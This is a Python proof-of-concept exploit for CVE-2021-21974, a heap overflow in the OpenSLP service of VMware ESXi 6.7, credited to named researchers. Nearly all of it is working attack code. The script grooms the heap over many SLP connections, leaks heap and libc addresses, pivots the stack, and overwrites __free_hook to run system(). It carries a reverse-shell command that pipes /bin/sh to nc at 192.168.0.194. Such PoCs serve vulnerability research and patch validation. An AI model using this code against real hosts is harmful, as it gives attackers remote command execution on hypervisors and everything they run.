VMware ESXi OpenSLP Heap Overflow

`#!/usr/bin/python3  
######################################################################################################  
# CVE-2021-21974 PoC Exploit  
# By: Johnny Yu (@staight_blast)  
# Tested against:  
# [1] VMware ESXi 6.7.0 build-14320388 ; VMware ESXi 6.7.0 Update 3  
# [2] VMware ESXi 6.7.0 build-16316930 ; VMware ESXi 6.7.0 Update 3  
######################################################################################################  
import sys  
import time  
import trace  
import queue  
import struct  
import socket  
import threading  
  
IP = sys.argv[1]  
#shell_cmd = b'echo "pwned" > /tmp/pwn'  
shell_cmd = b'mknod /tmp/backpipe p ; /bin/sh 0</tmp/backpipe | nc 192.168.0.194 80 1>/tmp/backpipe'  
  
DEBUG = False  
PRINT = True  
LOG_LEAK = False  
  
T = 0.3 #0.4  
PORT = 427  
COMMAND = 'command'  
MARKER = b'\xef\xbe\xad\xde'  
  
LISTEN = 0x65  
STREAM_READ = 0x6c  
STREAM_WRITE = 0x6f  
STREAM_READ_FIRST = 0x6d  
  
LISTEN_FD = 0x8  
  
leaked_data = b'\x00\x00\x00\x00'  
leaked_values = None  
  
class SLP_Thread(threading.Thread):  
def __init__(self, input_q):  
super(SLP_Thread, self).__init__()  
self.input_q = input_q  
  
def run(self):  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
while True:  
try:  
  
data = self.input_q.get(True, 0.05)  
name = threading.current_thread().name.replace('Thread','SLP Client')   
  
if 'connect' == data[COMMAND]:  
if PRINT:  
print('[' + name + '] connect')  
s.connect((IP, PORT))   
  
elif 'service request' == data[COMMAND]:  
arg1 = data['arg1']   
outgoing = self.generate_srv_rqst(arg1)  
if PRINT:  
print('[' + name + '] service request')  
s.send(outgoing)  
d = s.recv(1024)  
if PRINT:  
print('[' + name + '] recv: ', d)  
  
elif 'directory agent advertisement' == data[COMMAND]:  
arg1 = data['arg1']  
arg2 = data['arg2']  
outgoing = self.generate_da_advert(arg1, arg2)  
if PRINT:  
print('[' + name + '] directory agent advertisement')  
s.send(outgoing)  
d = s.recv(1024)  
if PRINT:  
print('[' + name + '] recv: ', d)  
  
elif 'service registration' == data[COMMAND]:  
arg1 = data['arg1']  
arg2 = data['arg2']  
arg3 = data['arg3']  
arg4 = data['arg4']   
outgoing = self.generate_srv_reg(arg1, arg2, arg3, arg4)  
if PRINT:  
print('[' + name + '] service registration')  
s.send(outgoing)  
d = s.recv(1024)  
if PRINT:  
print('[' + name +'] recv: ', d)  
  
elif 'attribute request' == data[COMMAND]:  
arg1 = data['arg1']  
arg2 = data['arg2']  
outgoing = self.generate_attrib_rqst(arg1)  
if PRINT:  
print('[' + name + '] attribute request')  
s.send(outgoing)  
output = b''  
for i in range(0, arg2):  
output += s.recv(1)  
if PRINT:  
print('[' + name + '] recv: ', output)  
  
elif 'recv' == data[COMMAND]:  
output = b''  
arg1 = data['arg1']  
arg2 = data['arg2']  
for i in range(0, arg2):  
output += s.recv(1)  
if arg1:  
print('[' + name + '] recv: ', output)  
  
elif 'leak data' == data[COMMAND]:  
outgoing = b''  
incoming = b''  
arg1 = data['arg1']   
  
if arg1 > 0:  
  
for i in range(0, arg1):  
outgoing += s.recv(1)  
  
#print(outgoing.hex())  
  
global leaked_data  
leaked_data = outgoing   
  
else:  
  
while True:  
incoming = s.recv(1)  
outgoing += incoming  
if MARKER in outgoing:  
break  
  
global leaked_values  
leaked_values = []  
  
try:  
for i in range(0, len(outgoing), 4):  
v = struct.unpack('<I', outgoing[i : i+4])[0]  
leaked_values.append(v)  
except:  
pass  
  
elif 'close' == data[COMMAND]:  
if PRINT:  
print('[' + name + '] close')  
s.close()  
break  
  
except queue.Empty:  
continue   
  
def generate_slp_header(self, payload, functionid, xid, extoffset):  
packetlen = len(payload) + 16  
if extoffset:  
extoffset += 16  
header = bytearray([2, functionid])  
header.extend(struct.pack('!IH', packetlen, 0)[1:])  
header.extend(struct.pack('!IHH', extoffset, xid, 2)[1:])  
header.extend(b'en')  
return header  
  
def generate_srv_rqst(self, data):  
srvtype = prlist = scopes = predicate = b''  
spi = data  
payload = bytearray(struct.pack('!H', len(prlist)) + prlist)  
payload.extend(struct.pack('!H', len(srvtype)) + srvtype)  
payload.extend(struct.pack('!H', len(scopes)) + scopes)  
payload.extend(struct.pack('!H', len(predicate)) + predicate)  
payload.extend(struct.pack('!H', len(spi)) + spi)  
header = self.generate_slp_header(payload, 1, 5, 0)  
return header + payload  
  
def generate_da_advert(self, url, scopes):  
error_code = 0  
boot_time = int(time.time())  
attributes = spi = auth_blocks = b''  
payload = bytearray(struct.pack('!H', error_code) + struct.pack('!I', boot_time))  
payload.extend(struct.pack('!H', len(url)) + url)  
payload.extend(struct.pack('!H', len(scopes)) + scopes)  
payload.extend(struct.pack('!H', len(attributes)) + attributes)  
payload.extend(struct.pack('!H', len(spi)) + spi)  
payload.extend(struct.pack('!H', len(auth_blocks)) + auth_blocks)  
header = self.generate_slp_header(payload, 8, 0, 0)  
return header + payload  
  
def generate_url_entry(self, url):  
lifetime = 2 * 60 #seconds  
auth_blocks = b''  
payload = bytearray([0])  
payload.extend(struct.pack('!H', lifetime))  
payload.extend(struct.pack('!H', len(url)) + url)  
payload.extend(struct.pack('!B', len(auth_blocks)) + auth_blocks)  
return payload  
  
def generate_srv_reg(self, url, srvtype, scopes, attributes):  
attrib_auth_blocks = b''  
url_entry = self.generate_url_entry(url)  
payload = bytearray(url_entry)  
payload.extend(struct.pack('!H', len(srvtype)) + srvtype)  
payload.extend(struct.pack('!H', len(scopes)) + scopes)  
payload.extend(struct.pack('!H', len(attributes)) + attributes)  
payload.extend(struct.pack('!B', len(attrib_auth_blocks)) + attrib_auth_blocks)  
header = self.generate_slp_header(payload, 3, 20, 0)  
return header + payload  
  
def generate_attrib_rqst(self, url):  
scopes = b'DEFAULT'  
prlist = tags = spi = b''  
payload = bytearray(struct.pack('!H', len(prlist)) + prlist)  
payload.extend(struct.pack('!H', len(url)) + url)  
payload.extend(struct.pack('!H', len(scopes)) + scopes)  
payload.extend(struct.pack('!H', len(tags)) + tags)  
payload.extend(struct.pack('!H', len(spi)) + spi)  
header = self.generate_slp_header(payload, 6, 12, 0)  
return header + payload  
  
def close():  
time.sleep(T)  
return {'command' : 'close'}  
  
def connect():  
time.sleep(T)  
return {'command' : 'connect'}  
  
def service_request(arg1):  
time.sleep(T)  
return {'command' : 'service request', 'arg1' : arg1}  
  
def da_advert_request(arg1, arg2):  
time.sleep(T)  
return {'command' : 'directory agent advertisement', 'arg1' : arg1, 'arg2' : arg2}  
  
def service_registration(arg1, arg2):  
time.sleep(T)  
return {'command' : 'service registration', 'arg1' : b'127.0.0.1', 'arg2' : arg1, 'arg3' : b'default', 'arg4' : arg2}  
  
def attribute_request(arg1, arg2):  
time.sleep(T)  
return {'command' : 'attribute request', 'arg1' : arg1, 'arg2' : arg2}  
  
def leak_data(arg1 = -1):  
time.sleep(T)  
return {'command' : 'leak data', 'arg1': arg1}  
  
def overflow_and_extend(size, flag):  
arg1 = b'A' * 24  
arg2 = b'B' * 13 + struct.pack('<H', size + flag) + b':/' + b'C' * 647  
return da_advert_request(arg1, arg2)  
  
def update_target_slpdsocket(fd, size, state):  
payload = b'\xd0\x00\x00\x00'  
payload += b'\x00' * 8 + b'\xbe\xba\xfe\xca'  
payload += struct.pack('<I', fd)  
payload += b'\x00' * 4  
payload += struct.pack('<I', state)  
payload += b'\x00' * 12  
payload += b'\x02\x00\x00\x00'  
payload += b'\x7f\x00\x00\x01'  
payload += b'\x00' * 8  
filler = b'A' * (size - 0x76)  
return service_request(filler + payload)  
  
def partial_update_target_send_buffer(size, send_buffer_size, flag, data):  
payload = struct.pack('<I', send_buffer_size + flag)  
payload += b'\x00' * 8  
payload += struct.pack('<I', send_buffer_size - 0x20)  
payload += data #b'\x00' * 2  
filler = b'A' * (size - 0x56)  
return service_request(filler + payload)  
  
def update_target_send_buffer(size, send_buffer_size, flag, address, length):  
payload = struct.pack('<I', send_buffer_size + flag)  
payload += b'\x00' * 8  
payload += struct.pack('<I', send_buffer_size - 0x20)  
payload += struct.pack('<I', address) * 2  
payload += struct.pack('<I', address + length)  
payload += b'\x00' * 0x10  
filler = b'A' * (size - 0x66)  
return service_request(filler + payload)  
  
def update_target_recv_buffer(size, address):  
size += 0x1a  
payload = b'\x40\x00\x00\x00'  
payload += b'\x00' * 8  
payload += struct.pack('<I', size)  
payload += struct.pack('<I', address - 26) * 2 + struct.pack('<I', address - 26 + size)   
filler = b'A' * 0xca  
return service_request(filler + payload)  
  
def block(size):  
if size > 0x38:  
size = size - 0x38  
else:  
size = 1  
return service_request(b'A' * size)  
  
def breakpoint():  
time.sleep(T)  
input('breakpoint')  
  
def exploit():  
count = 60  
requests = [0]  
slpclients = [0]  
  
global leaked_data  
global leaked_values  
  
requests.extend([queue.Queue() for i in range(1, count)])  
slpclients.extend([SLP_Thread(input_q = requests[i]) for i in range(1, count)])  
  
for i in range(1, count):  
slpclients[i].start()  
  
requests[1].put(connect())  
requests[1].put(da_advert_request(b'roflmao://pwning', b'BBB'))  
  
requests[2].put(connect())  
requests[3].put(connect())  
requests[4].put(connect())  
requests[5].put(connect())  
  
requests[2].put(block(0x40))  
requests[3].put(block(0x40))  
requests[4].put(block(0x40))  
requests[5].put(block(0x40))  
  
requests[6].put(connect())  
requests[6].put(block(0x810))  
requests[7].put(connect())  
requests[8].put(connect())  
requests[6].put(close())  
requests[9].put(connect())  
requests[9].put(overflow_and_extend(0x140, 0x1))  
fd = 0xc  
requests[8].put(update_target_slpdsocket(fd, 0x140, STREAM_READ_FIRST))  
requests[7].put(service_registration(b'service:pwn', MARKER + b'B' * (0x3200 - 21 - 4)))  
requests[8].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))  
requests[10].put(connect())  
requests[10].put(block(0x70))  
  
requests[11].put(connect())  
requests[12].put(connect())  
requests[13].put(connect())  
requests[11].put(block(0x810))  
requests[14].put(connect())  
requests[14].put(block(0x160))  
requests[12].put(block(0x810))  
requests[14].put(close())  
requests[15].put(connect())  
requests[15].put(attribute_request(b'service:pwn', 0x20))  
  
requests[13].put(block(0x110))  
requests[16].put(connect())  
requests[17].put(connect())  
  
requests[12].put(close())  
requests[18].put(connect())  
requests[18].put(overflow_and_extend(0x120, 0x3))  
requests[17].put(partial_update_target_send_buffer(0x120, 0x3220, 0x1, b'\x00\x00'))  
requests[19].put(connect())  
requests[19].put(block(0x178))  
  
requests[11].put(close())  
requests[20].put(connect())  
requests[20].put(overflow_and_extend(0x140, 0x1))  
fd = 0x11  
requests[16].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE))  
requests[16].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))  
requests[21].put(connect())  
requests[21].put(block(0x178))  
requests[15].put(leak_data())  
  
time.sleep(T + 1.0)  
  
heap_address = 0  
libc_base_address = 0  
  
if leaked_values == None:  
print("[-] Exploit Failed [-]")  
return -1  
  
leaked_values = leaked_values[::-1]  
  
if LOG_LEAK:   
for i in leaked_values:  
print(hex(i))  
  
if leaked_values[0] == 0xdeadbeef:  
heap_address = leaked_values[6] - 0x3220 + 0x4  
  
elif leaked_values[0] == 0xefeb3174:  
heap_offset = 0x2b1 if leaked_values[42] == 0x42424242 else 0x5d61  
heap_address = leaked_values[14] + heap_offset  
  
libc_leak_location = heap_address - 0x100 + 4  
  
requests[22].put(connect())  
requests[22].put(block(0x810))  
requests[23].put(connect())  
requests[23].put(block(0x100))  
requests[24].put(connect())  
requests[24].put(block(0x810))  
requests[23].put(close())  
requests[25].put(connect())  
requests[25].put(block(0x698))  
  
requests[27].put(connect())  
requests[28].put(connect())  
  
requests[24].put(close())  
requests[26].put(connect())  
requests[26].put(overflow_and_extend(0x130, 0x1))  
requests[27].put(update_target_send_buffer(0x130, 0x598, 0x1, libc_leak_location, 0x4))  
requests[29].put(connect())  
requests[29].put(block(0x178))  
  
requests[22].put(close())  
requests[30].put(connect())  
requests[30].put(overflow_and_extend(0x140, 0x1))   
fd = 0x15  
requests[28].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE))  
requests[28].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))  
requests[31].put(connect())  
requests[31].put(block(0x178))  
requests[25].put(leak_data(0x4))  
  
time.sleep(T + 1.0)  
libc_base_address = struct.unpack('<I', leaked_data)[0] - 0x193568  
  
libc_ret_offset = 0x0008009c  
libc_system_offset = 0x0003e390  
libc_environ_offset = 0x00194e20  
libc___free_hook_offset = 0x001948d8  
libc_ret_address = libc_base_address + libc_ret_offset  
libc_system_address = libc_base_address + libc_system_offset  
libc_environ_address = libc_base_address + libc_environ_offset  
libc___free_hook_address = libc_base_address + libc___free_hook_offset  
shell_cmd_address = heap_address + 0x34  
  
gadget_offset = 0x0007fe01 # add esp, 0x100 ; ret  
gadget_address = libc_base_address + gadget_offset  
  
requests[27].put(update_target_send_buffer(0x130, 0x598, 0x1, libc_environ_address, 0x4))  
requests[28].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE))  
requests[25].put(leak_data(0x4))  
  
time.sleep(T + 1.0)  
stack_environ_address = struct.unpack('<I', leaked_data)[0]  
esp_offset = 0xe30 if sys.argv[2] == '1' else 0xe7c  
esp_value = stack_environ_address - esp_offset  
pivoted_esp_value = esp_value + 0x100  
  
print()  
print('[+] libc base address: ', hex(libc_base_address))  
print("[+] libc system address: ", hex(libc_system_address))  
print("[+] libc environ address: ", hex(libc_environ_address))  
print("[+] libc __free_hook address: ", hex(libc___free_hook_address))  
print("[+] ret address: ", hex(libc_ret_address))  
print("[+] gadget address: ", hex(gadget_address))  
print('[+] heap address: ', hex(heap_address))  
print("[+] shell command address: ", hex(shell_cmd_address))  
print("[+] stack enviorn address: ", hex(stack_environ_address))  
print("[+] esp value: ", hex(esp_value))  
print("[+] pivoted esp value: ", hex(pivoted_esp_value))  
print()  
  
requests[28].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))  
  
requests[32].put(connect())  
requests[32].put(block(0x810))  
requests[33].put(connect())  
requests[34].put(connect())  
requests[34].put(block(0x810))  
requests[33].put(block(0x100))  
  
requests[35].put(connect())  
requests[36].put(connect())  
  
requests[34].put(close())  
requests[37].put(connect())  
requests[37].put(overflow_and_extend(0x120, 0x3))  
requests[36].put(update_target_recv_buffer(0x4, shell_cmd_address))  
requests[38].put(connect())  
requests[38].put(block(0x178))  
  
requests[32].put(close())  
requests[39].put(connect())  
requests[39].put(overflow_and_extend(0x140, 0x1))  
requests[35].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))  
requests[40].put(connect())  
requests[40].put(block(0x178))   
  
fd = 0x1a  
payload = shell_cmd + b'\x00'  
requests[36].put(update_target_recv_buffer(len(payload), shell_cmd_address))  
requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ))  
requests[33].put(service_request(payload))  
  
payload = struct.pack('<I', libc_ret_address) * 10 + struct.pack('<I', libc_system_address) + b'\x41' * 4 + struct.pack('<I', shell_cmd_address)  
requests[36].put(update_target_recv_buffer(len(payload), pivoted_esp_value - 0x10))   
requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ))  
requests[33].put(service_request(payload))  
  
#breakpoint()  
  
payload = b'\x41\x41\x41\x41' if DEBUG == True else struct.pack('<I', gadget_address)  
requests[36].put(update_target_recv_buffer(len(payload), libc___free_hook_address))  
requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ))  
requests[33].put(service_request(payload))  
  
time.sleep(T + 1.0)   
print('[*] exploit deployed')  
return 0  
  
def intro():  
print(" _____ _____ ___ __ ___ _ ___ _ ___ ____ _ _ ")  
print(" / __\ \ / / __|_|_ ) \_ ) |__|_ ) / _ \__ | | | ")  
print(" | (__ \ V /| _|___/ / () / /| |___/ /| \_, / / /|_ _| ")  
print(" \___| \_/ |___| /___\__/___|_| /___|_|/_/ /_/ |_| ")  
print()  
print(" PoC Exploit ")  
print()  
print(" vuln discovered by: Lucas Leong (@_wmliang_) ")  
print(" poc by: Johnny Yu (@straight_blast) ")  
print(" ")  
print()  
print(" currently support the following: ")  
print(" [1] VMware ESXi 6.7.0 build-14320388 ")  
print(" [2] VMware ESXi 6.7.0 build-16316930 ")  
print()  
  
if __name__ == '__main__':  
intro()   
exploit()  
  
`